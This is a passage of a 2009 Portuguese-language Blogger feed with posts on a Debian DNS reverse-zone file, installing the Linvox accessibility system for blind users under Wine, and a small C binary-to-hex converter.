2000072001 ; Serial&lt;br /&gt;                        28800      ; Refresh&lt;br /&gt;                        14400      ; Retry&lt;br /&gt;                        3600000    ; Expire&lt;br /&gt;                        86400 )    ; Minimum&lt;br /&gt;&lt;br /&gt;@       IN      NS      dominio.casa.&lt;br /&gt;10      IN      PTR     dominio.casa.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Os dados no arquivo de IP reverso tem o mesmo significado do arquivo anterior.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-3748148233129079217?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/3748148233129079217/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/configurando-servidor-de-nomes-dns.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3748148233129079217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3748148233129079217'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/configurando-servidor-de-nomes-dns.html' title='Configurando Servidor de Nomes - DNS (Debian)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-6172632517577694563</id><published>2009-03-25T11:04:00.000-07:00</published><updated>2009-05-04T10:06:12.659-07:00</updated><title type='text'>Linvox - Sistema Linux voltado para deficientes visuais</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=292bd0b5" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O DOSVOX&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O DOSVOX é um sistema desenvolvido pelo Núcleo de Computação Eletrônica (NCE) da UFRJ dedicado aos deficientes visuais. Através de uma síntese de voz, a comunicação computador / usuário é feita dando total independência aos mesmos.&lt;br /&gt;&lt;br /&gt;O "sistema" foi desenvolvido em princípio para o SO DOS, por isso o nome DOSvox, que não se alterou apesar da evolução do projeto. Hoje o DOSVOX pode ser utilizado até no Windows Vista.&lt;br /&gt;&lt;br /&gt;O que diferencia o DOSVOX dos outros softwares de síntese de voz é que o DOSVOX não é um simples leitor de tela, o que faz com que deficientes se esforcem para entender layouts desenvolvidos para videntes. O DOSVOX é uma complexidade de sistema que leva em consideração as necessidades e limitações dos deficientes visuais, tornando assim os softwares agradáveis, fáceis e práticos sem interferir na eficiência.&lt;br /&gt;&lt;br /&gt;Apesar de utilizar a primeira síntese de voz brasileira, nada impede que utilize outra síntese de voz ou outras sínteses comerciais incluindo sínteses em outros idiomas.&lt;br /&gt;&lt;br /&gt;O DOSVOX é uma série de programas que permitem que as tarefas diárias sejam feitas sem esforço pelos cegos. O programa é composto de uma interface adaptativa para o sistema operacional, no qual permite fazer as operações básicas como copiar; mover, renomear, criar, excluir arquivos e diretórios, formatar mídias etc; navegador, correio eletrônico, editores de texto, bate-papo, trocador de arquivos, tocador de mídias e tudo que uma pessoa normalmente necessita ter no computador para seu uso diário e profissional.&lt;br /&gt;&lt;br /&gt;A melhor parte do projeto é que praticamente todos os desenvolvedores são deficientes visuais. Exceto o Gerente do Projeto, meu grande amigo José Antônio Borges e na época EU. O projeto demostra a grande qualidade dos desenvolvedores cegos como Marcelo Pimentel e meus amigos: Bernard Condorcet, Neno ALbernaz e Renato Costa. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;O LINVOX&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;O LINVOX é o início da transformação do sistema DOSVOX e seus utilitários para o sistema operacional Linux.&lt;br /&gt;&lt;br /&gt;Essa necessidade mostra o crescimento do Linux que faz com que os softwares sejam criados para essa plataforma por necessidade de seus usuários. Neste caso específico mostrando o a necessidade da utilização para um grupo que muitos consideram inusitado.&lt;br /&gt;&lt;br /&gt;Como avia necessidade de resultado em um curto espaço de tempo, essa primeira versão não foi rescrita para a plataforma Linux e sim optado pela utilização do emulador wine. O resultado segundo os desenvolvedores foi "extremamente satisfatório". Porém esperamos que um LINVOX nativo seja nos apresentado em breve.&lt;br /&gt;&lt;br /&gt;A versão está disponível para o Kurumin 6.0.&lt;br /&gt;&lt;br /&gt;Instalando o LINVOX&lt;br /&gt;Quem já utiliza uma distribuição do Linux pode optar pela instalação manual. Porém quem não tem pode optar pela utilização de um CD com uma imagem ISO pré-configurada. Neste caso não é necessário a instalação do Linux na máquina, pois o CD é butável e contém o LINVOX baseado na distribuição Kurumin.&lt;br /&gt;&lt;br /&gt;A imagem criada para rodar a partir do CDROM vem com o Kurumin, o Wine e o Linvox pré-configurado. Neste caso os arquivos serão carregados na memória fazendo com que seu desempenho dependa da velocidade do CD-ROM e da quantidade de memória disponível em sua máquina.&lt;br /&gt;&lt;br /&gt;Também é possível através do ISO instalar o Lurumim, o Wine e o Linvox direto no HD, o que deixará a execução do Linvox mais rápida, porém essa instalação APAGARÁ O SEU HD.&lt;br /&gt;&lt;br /&gt;As ISOs podem ser baixadas de:&lt;br /&gt;&lt;br /&gt;    * http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Verificador MD5:&lt;br /&gt;http://intervox.nce.ufrj.br/linvox/linvox-2.0.iso.md5&lt;br /&gt;&lt;br /&gt;Para quem já utiliza o Linux e deseja fazer a instalação manual (Debian):&lt;br /&gt;&lt;br /&gt;Instale o Wine:&lt;br /&gt;&lt;br /&gt;# apt-get update&lt;br /&gt;# apt-get install wine&lt;br /&gt;&lt;br /&gt;Baixe o Linvox de:&lt;br /&gt;&lt;br /&gt;    * http://intervox.nce.ufrj.br/linvox/linvox-2.0.deb &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# cd $HOME&lt;br /&gt;# dpkg -i linvox-2.0.deb&lt;br /&gt;# tar -zxvf linvox_local-2.0.tar.gz&lt;br /&gt;# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)&lt;br /&gt;&lt;br /&gt;Se o seu sistema não possui o comando dpkg, você pode usar ainda:&lt;br /&gt;&lt;br /&gt;# cd /&lt;br /&gt;# tar -zxvf linvox.tar.gz&lt;br /&gt;# chmod -R 755 /opt/winvox&lt;br /&gt;# cd $HOME&lt;br /&gt;# tar -zxvf linvox_local-2.0.tar.gz&lt;br /&gt;# chown -R knoppix.knoppix .wine (ou o nome da sua conta no lugar de knoppix)&lt;br /&gt;&lt;br /&gt;Estes comandos devem instalar o DOSVOX no diretório /opt da sua partição Linux e os arquivos com as configurações do WINE e do DOSVOX no seu diretório local.&lt;br /&gt;&lt;br /&gt;Não esqueça de instalar o fonte "Courier New" com o comando "wine courier32.exe", para uma formatação adequada do DOSVOX para os videntes.&lt;br /&gt;&lt;br /&gt;Para maiores informações visite o site do projeto:&lt;br /&gt;&lt;br /&gt;    * http://intervox.nce.ufrj.br/linvox/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-6172632517577694563?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/6172632517577694563/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/linvox-sistema-linux-voltado-para.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6172632517577694563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6172632517577694563'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/linvox-sistema-linux-voltado-para.html' title='Linvox - Sistema Linux voltado para deficientes visuais'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-3796634672934939429</id><published>2009-03-25T09:39:00.000-07:00</published><updated>2009-05-04T09:43:13.028-07:00</updated><title type='text'>Conversor binário</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=2db6a8af" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#define iifi(c) (((c)=='0') ? (0) : (1))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void intTohex (unsigned long int b, char* hex)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char vet[]={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long int r;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[7] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[6] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[5] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[4] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[3] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[2] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;r = b % 0x10; hex[1] = vet[r]; b = b &gt;&gt; 0x4;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hex[0] = vet[b];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hex[8] = '\0'; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;unsigned long int binToInt (char *str)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return iifi(str[0])*128 + iifi(str[1])*64 + iifi(str[2])*32 + iifi(str[3])*16 + iifi(str[4])*8 + iifi(str[5])*4 + iifi(str[6])*2 + iifi(str[7]);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void arruma (char *dest, char *ori)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int t;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;t=strlen(ori)-1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (i=7; i&gt;=0;i--)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (t&gt;=0) dest[i]=ori[t]; else dest[i]='0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;t--;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;dest[8]='\0';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char inToChar (unsigned long int val)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((val &gt; 32) &amp;&amp; (val &lt; 127)) return val; else return '.';&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main (int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char temp[9];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long int valInt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char c;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (argc&lt;2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Parametro incorreto.\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Informe apenas os valores em binário\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (i=1; i&amp;lt;argc;i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;arruma(temp, argv[i]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;valInt=binToInt(temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;intTohex(valInt,temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = inToChar (valInt);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf ("Inteiro=%d   Hexa=%s   char=%c\n",valInt, temp, c);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-3796634672934939429?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/3796634672934939429/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/conversor-binario.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3796634672934939429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/3796634672934939429'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/conversor-binario.html' title='Conversor binário'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
